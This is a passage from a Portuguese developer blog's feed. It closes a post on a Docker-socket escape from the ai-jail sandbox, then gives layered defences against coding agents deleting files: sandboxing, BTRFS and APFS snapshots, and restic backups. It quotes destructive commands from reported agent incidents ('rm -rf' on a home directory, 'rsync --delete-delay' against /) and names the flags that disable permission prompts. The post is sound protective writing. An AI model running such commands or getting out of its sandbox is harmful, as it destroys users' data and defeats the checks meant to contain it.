<li><strong>Em CI, construa imagem sem daemon privilegiado.</strong> <a href="https://github.com/GoogleContainerTools/kaniko"target="_blank" rel="noopener">Kaniko</a> e <a href="https://buildah.io/"target="_blank" rel="noopener">Buildah</a> constroem imagens rootless, sem precisar montar socket nenhum no job.</li>
<li><strong>Não conseguiu rootless? Ligue o userns-remap.</strong> Custa uma tarde de testes com seus volumes e compra isolamento real entre o root do container e o root do host.</li>
<li><strong>No ai-jail, deixe o default trabalhar por você.</strong> Docker desligado, e <code>--docker</code> só nos projetos onde você confia no workload como confiaria num sudo. Regra prática: se você não daria <code>sudo</code> cego pro agente naquele diretório, também não dê <code>--docker</code>.</li>
</ol>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma sandbox bem construída perde boa parte do valor se tiver uma porta dos fundos aberta por conveniência. O bwrap, o Landlock, o seccomp e os rlimits do ai-jail continuam fazendo o trabalho deles, mas nenhum deles enxerga o que acontece quando o processo lá dentro pede gentilmente pro daemon root do host montar o filesystem inteiro num container. Camada de segurança que você não audita vira decoração.</p>
<p>Meu agradecimento público ao <a href="https://github.com/mdindoffer"target="_blank" rel="noopener">@mdindoffer</a>: report limpo, repro mínima, severidade correta e ainda por cima proposta de solução. É assim que se reporta vulnerabilidade em projeto open source.</p>
<p>Se você quer o contexto completo de como eu uso sandbox no dia a dia, escrevi sobre isso em <a href="/2026/07/11/como-me-precaver-pros-meus-agentes-nao-apagarem-minhas-coisas/">Como me precaver pros meus agentes não apagarem minhas coisas?</a>. A história do ai-jail está em <a href="/2026/01/10/ai-agents-garantindo-a-protecao-do-seu-sistema/">AI Agents: Garantindo a Proteção do seu Sistema</a> e na <a href="/2026/03/01/ai-jail-sandbox-para-agentes-de-ia-de-shell-script-a-ferramenta-real/">reescrita em Rust</a>.</p>
<p>Agora vai lá e roda o upgrade.</p>
]]></content:encoded><category>ai-jail</category><category>containers</category><category>seguranca</category></item><item><title>Como me precaver pros meus agentes não apagarem minhas coisas?</title><link>https://akitaonrails.github.io/2026/07/11/como-me-precaver-pros-meus-agentes-nao-apagarem-minhas-coisas/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/07/11/como-me-precaver-pros-meus-agentes-nao-apagarem-minhas-coisas/</guid><pubDate>Sat, 11 Jul 2026 21:00:00 -0300</pubDate><description>&lt;p&gt;Essa semana o assunto no Twitter foi LLM apagando arquivo dos outros. O &lt;a href="https://x.com/mattshumer_/status/2075657271401390161"target="_blank" rel="noopener"&gt;Matt Shumer postou&lt;/a&gt; que o GPT-5.6-Sol acidentalmente deletou quase TODOS os arquivos do Mac dele. Um subagente de review expandiu errado a variável &lt;code&gt;$HOME&lt;/code&gt; e rodou &lt;code&gt;rm -rf /Users/mattsdevbox&lt;/code&gt;. Ele matou o processo no meio, mas o estrago já estava feito.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/tweet-mattshumer.webp" alt="Tweet do Matt Shumer: GPT-5.6-Sol acidentalmente deletou quase todos os arquivos do Mac dele, rodando rm -rf /Users/mattsdevbox por causa de uma expansão errada de $HOME." loading="lazy" /&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>Essa semana o assunto no Twitter foi LLM apagando arquivo dos outros. O <a href="https://x.com/mattshumer_/status/2075657271401390161"target="_blank" rel="noopener">Matt Shumer postou</a> que o GPT-5.6-Sol acidentalmente deletou quase TODOS os arquivos do Mac dele. Um subagente de review expandiu errado a variável <code>$HOME</code> e rodou <code>rm -rf /Users/mattsdevbox</code>. Ele matou o processo no meio, mas o estrago já estava feito.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/tweet-mattshumer.webp" alt="Tweet do Matt Shumer: GPT-5.6-Sol acidentalmente deletou quase todos os arquivos do Mac dele, rodando rm -rf /Users/mattsdevbox por causa de uma expansão errada de $HOME."  loading="lazy" /></p>
<p>No dia seguinte o <a href="https://x.com/goodalexander/status/2076019436767584347"target="_blank" rel="noopener">goodalexander reproduziu</a> o mesmo comportamento num devnet descartável: um <code>rsync --delete-delay</code> contra <code>/</code> varreu <code>/var</code>, <code>/etc</code> e o estado dos validators dele, corrompendo o filesystem a ponto de precisar reinstalar o sistema operacional. A conclusão dele: &ldquo;you can&rsquo;t use this thing in prod&rdquo;.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/tweet-goodalexander.webp" alt="Tweet do goodalexander: reproduziu o comportamento destrutivo do GPT 5.6 Sol num devnet descartável, com rsync –delete-delay apagando /var e /etc e corrompendo o filesystem."  loading="lazy" /></p>
<p>Casos assim aparecem de tempos em tempos desde que agentes de coding viraram mainstream. E toda vez a discussão descamba pros mesmos dois extremos: de um lado &ldquo;viu? IA é perigosa, nunca deixe rodar nada sozinha&rdquo;, do outro &ldquo;quem deixa um agente solto no sistema merece o que acontece&rdquo;. Eu acho os dois lados preguiçosos. Deixa eu contar minha experiência real e o que eu faço a respeito.</p>
<h2>Cinco meses de maratona, zero acidentes<span class="hx:absolute hx:-mt-20" id="cinco-meses-de-maratona-zero-acidentes"></span>
    <a href="#cinco-meses-de-maratona-zero-acidentes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Desde fevereiro eu estou maratonando Claude Code, Codex e OpenCode. Quase todos os dias, quase o tempo todo, em sessões muito longas que às vezes atravessam dias. Estourando o limite do meu plano Max da Anthropic e do meu plano Plus da OpenAI com folga. O resultado concreto até agora: quase 40 repositórios novos no meu GitHub e mais de 500 mil linhas de código produzidas.</p>
<p>E nos últimos dois meses eu rodo tudo exclusivamente em &ldquo;YOLO mode&rdquo;. Pra quem não conhece o jargão: por padrão, esses agentes pedem permissão antes de cada comando que vão executar no seu terminal. O YOLO mode desliga essa trava. No Claude Code é a flag <code>--dangerously-skip-permissions</code>, no Codex é o <code>--yolo</code>, no OpenCode você configura as permissões pra aprovar tudo. O agente roda o que quiser, quando quiser, sem me perguntar nada.</p>
<p>Em cinco meses nesse regime, nem uma vez um agente apagou um arquivo que eu não pedi. Nem uma vez rodou um comando destrutivo fora do escopo. As frustrações que eu tenho com agentes são de outra natureza (teimosia, solução preguiçosa, contexto que se perde), coisas irritantes mas a quilômetros de distância de um <code>rm -rf</code> no meu home.</p>
<p>Então quando eu vejo esses relatos, minha primeira hipótese sempre vai pro mesmo lugar: o prompt. Pra um agente &ldquo;enlouquecer&rdquo; desse jeito, em geral o usuário escreveu instruções muito ruins. Vagas, ambíguas, pedindo limpeza sem definir o que é lixo, mandando o agente &ldquo;resolver&rdquo; sem dar contexto. Falta de habilidade de comunicação combinada com falta de conhecimento técnico pra perceber que o pedido estava mal formulado. O agente executa a instrução que você escreveu, com todas as ambiguidades que você deixou nela.</p>
<p>Dito isso, eu NÃO confio completamente em LLMs. Ninguém deveria.</p>
<blockquote>
  <p>A diferença é que a minha desconfiança vira engenharia em vez de virar tweet.</p>

</blockquote>
<p>Camada por camada, é assim que eu durmo tranquilo.</p>
<h2>Camada 1: sandbox com ai-jail<span class="hx:absolute hx:-mt-20" id="camada-1-sandbox-com-ai-jail"></span>
    <a href="#camada-1-sandbox-com-ai-jail" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando eu realmente suspeito que uma sessão pode fazer besteira (vou mexer em scripts de sistema, vou deixar o agente rodar por horas sem supervisão num código que toca no filesystem), eu abro o harness dentro do <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a>, uma ferramenta minha, open source, escrita em Rust.</p>
<p>O ai-jail é um wrapper de sandbox pra agentes de coding. No Linux ele usa o <code>bwrap</code> (bubblewrap, a mesma base do Flatpak), no macOS usa o <code>sandbox-exec</code>. A ideia: o processo enxerga um filesystem que parece normal, mas só o diretório do projeto atual é real e persistente. O resto do <code>$HOME</code>, os diretórios vizinhos, o <code>/tmp</code>, tudo vive em tmpfs e evapora quando a sessão termina. O estado do agente (<code>~/.claude</code>, <code>~/.codex</code> etc) é montado de verdade pra ele continuar logado e configurado, mas <code>~/.ssh</code>, <code>~/.gnupg</code>, <code>~/.aws</code> e perfis de browser nunca entram na jaula.</p>
<p>Instalar é um comando:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Arch Linux</span>
</span></span><span class="line"><span class="cl">yay -S ai-jail-bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># macOS / Linux via Homebrew</span>
</span></span><span class="line"><span class="cl">brew tap akitaonrails/tap <span class="o">&amp;&amp;</span> brew install ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># ou direto do crates.io</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E usar é mais simples ainda:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/meu-app
</span></span><span class="line"><span class="cl">ai-jail claude       <span class="c1"># Claude Code na jaula</span>
</span></span><span class="line"><span class="cl">ai-jail codex        <span class="c1"># Codex na jaula</span>
</span></span><span class="line"><span class="cl">ai-jail --dry-run claude  <span class="c1"># mostra a política sem rodar</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se o agente resolver rodar <code>rm -rf ~</code> lá dentro, ele apaga um tmpfs que ia sumir de qualquer jeito. Meu home real nem foi montado. Pra quem está começando com YOLO mode e ainda não tem calo, é o jeito mais barato de errar sem consequência.</p>
<h2>Camada 2: BTRFS e snapshots (a rede de segurança de verdade)<span class="hx:absolute hx:-mt-20" id="camada-2-btrfs-e-snapshots-a-rede-de-segurança-de-verdade"></span>
    <a href="#camada-2-btrfs-e-snapshots-a-rede-de-seguran%c3%a7a-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora o ponto principal desse post. Eu advogo há ANOS que usuário de Linux deveria usar BTRFS em vez de EXT4. Fiz <a href="/2023/10/19/akitando-146-protegendo-e-recuperando-dados-perdidos-git-backup-btrfs/">um episódio inteiro do Akitando sobre isso em 2023</a>, muito antes de existir agente de coding pra levar a culpa. O argumento era o mesmo: seus dados precisam sobreviver a erro humano. Um LLM rodando <code>rm -rf</code> no lugar errado é só uma categoria nova de erro humano, terceirizado.</p>
<p>Por que BTRFS é superior pra desktop? Copy-on-write (CoW): o filesystem nunca sobrescreve um bloco no lugar, ele escreve a versão nova em outro bloco e atualiza os ponteiros. Checksum de dados e metadados, então bitrot silencioso é detectado em vez de corromper seu arquivo caladinho. Compressão transparente. Subvolumes, que funcionam como partições flexíveis sem tamanho fixo. E a consequência mais valiosa do CoW: <strong>snapshots leves</strong>.</p>
<p>Um snapshot BTRFS é instantâneo e custa perto de zero espaço no momento em que é criado. Ele congela os ponteiros dos blocos atuais em vez de copiar dados. Só o que divergir a partir dali (blocos novos ou modificados) passa a ocupar espaço extra. Na prática você pode tirar dezenas de snapshots por dia sem sentir. Neste exato momento minha máquina mantém 23 snapshots do sistema, e o custo é a diferença entre eles, alguns poucos gigas.</p>
<h3>Agendando snapshots<span class="hx:absolute hx:-mt-20" id="agendando-snapshots"></span>
    <a href="#agendando-snapshots" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>As duas ferramentas clássicas são o <strong>Timeshift</strong> e o <strong>snapper</strong>. O Timeshift é o mais amigável: interface gráfica, você marca &ldquo;quantos snapshots manter&rdquo; por hora/dia/semana/mês e ele cuida do resto. Ele espera o layout de subvolumes <code>@</code> (raiz) e <code>@home</code>, que é o padrão da maioria das distros que instalam em BTRFS hoje. O snapper (nascido no openSUSE) é mais granular: configs por subvolume, timeline automática, integração com o gerenciador de pacotes pra tirar snapshot antes e depois de cada instalação.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Timeshift: snapshot manual antes de uma sessão suspeita</span>
</span></span><span class="line"><span class="cl">sudo timeshift --create --comments <span class="s2">&#34;antes de soltar o agente&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># snapper: criar config pro /home e ligar a timeline</span>
</span></span><span class="line"><span class="cl">sudo snapper -c home create-config /home
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now snapper-timeline.timer</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Meu setup roda Timeshift agendado, mais o <code>grub-btrfsd</code> de plantão (já explico por quê).</p>
<h3>Recuperando arquivos apagados<span class="hx:absolute hx:-mt-20" id="recuperando-arquivos-apagados"></span>
    <a href="#recuperando-arquivos-apagados" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui está a mágica que todo mundo que perdeu arquivo pra um agente gostaria de ter tido. Snapshot BTRFS é navegável como um diretório comum. O agente apagou seu projeto às 15h? O snapshot das 14h ainda tem tudo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># com Timeshift, os snapshots ficam montados em /run/timeshift</span>
</span></span><span class="line"><span class="cl">sudo ls /run/timeshift/backup/timeshift-btrfs/snapshots/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># achou o snapshot de antes do estrago? copia de volta e pronto</span>
</span></span><span class="line"><span class="cl">sudo cp -a /run/timeshift/backup/timeshift-btrfs/snapshots/2026-07-11_14-00-01/@home/akitaonrails/Projects/meu-app ~/Projects/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com snapper é a mesma coisa via <code>.snapshots</code> dentro do subvolume, e ele ainda tem o <code>snapper undochange</code> pra reverter mudanças específicas entre dois snapshots. Recuperação em segundos, sem drama, sem ferramenta forense.</p>
<h3>E se o sistema nem ligar mais?<span class="hx:absolute hx:-mt-20" id="e-se-o-sistema-nem-ligar-mais"></span>
    <a href="#e-se-o-sistema-nem-ligar-mais" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O caso do goodalexander foi além de perder arquivos: o agente varreu <code>/var</code> e <code>/etc</code> e o sistema ficou imprestável, precisou reinstalar o OS. Com BTRFS nem isso seria necessário. É pra esse cenário que existe o <a href="https://github.com/Antynea/grub-btrfs"target="_blank" rel="noopener">grub-btrfs</a>: um daemon que observa seus snapshots e regenera o menu do GRUB com uma entrada de boot pra cada um.</p>
<p>Sistema não sobe mais? Reinicia, segura o menu do GRUB, escolhe &ldquo;snapshots&rdquo; e dá boot direto num snapshot de ontem, read-only. De dentro dele, roda <code>timeshift --restore</code>, escolhe o snapshot bom, reinicia de novo. Sistema inteiro de volta ao estado de antes do desastre, em menos tempo do que você levaria pra achar o pendrive de instalação. No pior caso absoluto (o próprio GRUB foi junto), um live USB qualquer monta a partição BTRFS, aponta o subvolume padrão de volta pro snapshot bom e resolve.</p>
<h3>E no macOS? E no Windows?<span class="hx:absolute hx:-mt-20" id="e-no-macos-e-no-windows"></span>
    <a href="#e-no-macos-e-no-windows" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Usuário de Mac tem o equivalente direto: o <strong>APFS</strong>, filesystem padrão desde o High Sierra (2017), também é copy-on-write e também tem snapshots leves. Quem gerencia é o Time Machine: com ele ativado, o macOS tira snapshots locais automáticos de hora em hora e guarda as últimas 24 horas no próprio disco, independente do backup externo. E dá pra criar um na mão antes de soltar o agente:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># criar um snapshot local do APFS agora</span>
</span></span><span class="line"><span class="cl">tmutil localsnapshot
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># listar os snapshots existentes</span>
</span></span><span class="line"><span class="cl">tmutil listlocalsnapshots /</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra recuperar, abre o próprio Time Machine (&ldquo;Browse Time Machine Backups&rdquo; na barra de menu): ele navega pelos snapshots locais mesmo sem nenhum disco externo plugado, e você restaura o arquivo dali. Quem prefere terminal monta o snapshot read-only com <code>mount_apfs -s</code> e copia de volta. Ou seja, o caso do Matt Shumer lá do começo tinha solução nativa no próprio Mac dele: um snapshot de uma hora antes teria devolvido quase tudo.</p>
<p>No Windows a história é mais fraca. O NTFS tem o Volume Shadow Copy (VSS), que alimenta os restore points e a aba &ldquo;Versões Anteriores&rdquo;, mas é voltado pra arquivos de sistema e raramente está cobrindo seus dados na hora que você precisa. Nada com a leveza e a previsibilidade de um snapshot CoW agendado. Se você desenvolve no Windows, trate backup externo como obrigatório, sem discussão (e o restic da próxima seção roda em Windows numa boa).</p>
<h2>Camada 3: backup externo com restic<span class="hx:absolute hx:-mt-20" id="camada-3-backup-externo-com-restic"></span>
    <a href="#camada-3-backup-externo-com-restic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Snapshot mora no mesmo disco que os dados. Se o NVMe morrer, morrem os dois juntos. Por isso a outra coisa que eu repito há anos: <strong>todo mundo precisa de backup externo</strong>, seja num HD externo, seja num NAS. Eu uso um Synology na rede local, montado via NFS, e <a href="/2025/04/17/configurando-meu-nas-synology-com-nfs-no-linux/">documentei o setup completo aqui</a>.</p>
<p>Em cima dele roda o <a href="https://restic.net/"target="_blank" rel="noopener">restic</a>, que na minha opinião é a melhor ferramenta de backup pra essa finalidade: deduplicação, criptografia, snapshots incrementais e restore simples. Minha configuração real é um script disparado por um timer do systemd todo dia às 3 da manhã. Ele confere se o NAS está montado, faz o backup do <code>/home</code> e do <code>/mnt/data/Projects</code> pulando caches (<code>node_modules</code>, <code>target/</code> do Rust, <code>__pycache__</code> e afins, tudo num arquivo de excludes), e depois aplica a política de retenção: 7 diários, 4 semanais, 6 mensais, 1 anual.</p>
<p>Reproduzir o essencial é isso aqui:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># uma vez: criar o repositório no NAS</span>
</span></span><span class="line"><span class="cl">restic init --repo /mnt/nas/desktop-backup
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># todo dia (via cron ou systemd timer):</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup backup ~ /mnt/data/Projects <span class="se">\
</span></span></span><span class="line"><span class="cl">    --exclude-file<span class="o">=</span>~/.config/restic/excludes --exclude-caches
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup forget <span class="se">\
</span></span></span><span class="line"><span class="cl">    --keep-daily <span class="m">7</span> --keep-weekly <span class="m">4</span> --keep-monthly <span class="m">6</span> --keep-yearly <span class="m">1</span> --prune</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E se o dia ruim chegar de verdade (agente destrutivo, disco morto, ransomware, tanto faz a causa):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># listar os snapshots disponíveis</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup snapshots
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># restaurar um arquivo ou diretório específico</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup restore latest <span class="se">\
</span></span></span><span class="line"><span class="cl">    --target /tmp/recuperado --include /home/akitaonrails/Projects/meu-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># ou montar o repositório inteiro como filesystem e navegar com calma</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup mount /mnt/restic</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Repara na arquitetura em camadas: o snapshot BTRFS resolve o acidente de minutos atrás em segundos. O restic resolve o desastre de dias atrás, incluindo hardware morto. Um agente de IA teria que ser muito dedicado pra atravessar as duas camadas, e mesmo assim ainda existiria a cópia de ontem no NAS, que ele nem alcança.</p>
<h2>E nas empresas? Profissionalismo<span class="hx:absolute hx:-mt-20" id="e-nas-empresas-profissionalismo"></span>
    <a href="#e-nas-empresas-profissionalismo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tudo acima é sobre a minha máquina pessoal. Agora sobe o sarrafo: ambiente corporativo.</p>
<p>A regra número um é simples e inegociável: <strong>nenhum agente de IA deve ter acesso a produção. Nunca.</strong> Nem SSH direto em servidor de produção, nem credencial de banco de produção, nem token de admin de serviço em produção. Se o seu agente consegue rodar um <code>DELETE</code> na base que atende clientes, o problema deixou de ser a IA faz tempo: qualquer estagiário com o mesmo acesso é a mesma bomba-relógio, só com menos velocidade de digitação.</p>
<p>Agente em <strong>staging</strong>, por outro lado, eu defendo. É pra isso que staging existe. Mas mesmo em staging tem jeito certo: você resiste à tentação de pedir ações one-shot (&ldquo;roda um <code>apt install</code> aí&rdquo;, &ldquo;dá um <code>systemctl restart</code>&rdquo;, &ldquo;conecta no postgres e executa isso&rdquo;). Comando avulso executado na mão é conhecimento que evapora. Sua infraestrutura precisa ser automatizada e reproduzível: Ansible, Kubernetes, Terraform, o que fizer sentido pro seu stack. O papel do agente passa a ser escrever e refinar essas receitas, que ficam versionadas em git.</p>
<h3>Um exemplo pequeno, aqui da minha mesa<span class="hx:absolute hx:-mt-20" id="um-exemplo-pequeno-aqui-da-minha-mesa"></span>
    <a href="#um-exemplo-pequeno-aqui-da-minha-mesa" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu tenho um ambiente de jogos no meu PC principal, mas eu me recuso a misturar pacote de emulador com meu ambiente de desenvolvimento. Então isolei os jogos dentro de um <a href="https://github.com/89luca89/distrobox"target="_blank" rel="noopener">distrobox</a>. Pra quem não conhece: o distrobox cria containers (via podman ou docker) que se integram com seu desktop como se fossem nativos. Compartilham seu home (ou um home dedicado), acesso a GPU, Wayland, áudio. Na prática é uma distro completa dentro da sua distro, com espaço de pacotes separado.</p>
<p>O <a href="https://github.com/akitaonrails/distrobox-gaming"target="_blank" rel="noopener">distrobox-gaming</a> é um repositório de playbooks Ansible que constrói uma box Arch chamada <code>gaming</code> do zero: ES-DE de frontend, emuladores standalone (shadPS4, RPCS3, PCSX2, Dolphin, DuckStation, Eden e mais uma dúzia), cores do RetroArch, configs otimizadas por jogo, atalhos no launcher do host. E o <a href="https://github.com/akitaonrails/distrobox-llm"target="_blank" rel="noopener">distrobox-llm</a> faz o mesmo pra uma box de trabalho com LLMs locais: CUDA, cuDNN, Ollama, whisper.cpp e LM Studio isolados numa box com <code>--nvidia</code>, enquanto o host só carrega o driver. Upgrade de versão maior do CUDA deixa de chacoalhar meu ambiente de desenvolvimento.</p>
<p>Quem escreveu a esmagadora maioria desses playbooks? Os agentes. Em vez de pedir &ldquo;instala o RPCS3 pra mim&rdquo;, meu prompt é &ldquo;escreve a receita Ansible idempotente que instala e configura o RPCS3, roda ela, verifica o resultado e corrige até passar&rdquo;. Olha um trecho real do role que cria a box do LLM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl">- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Check if distrobox exists</span><span class="w">
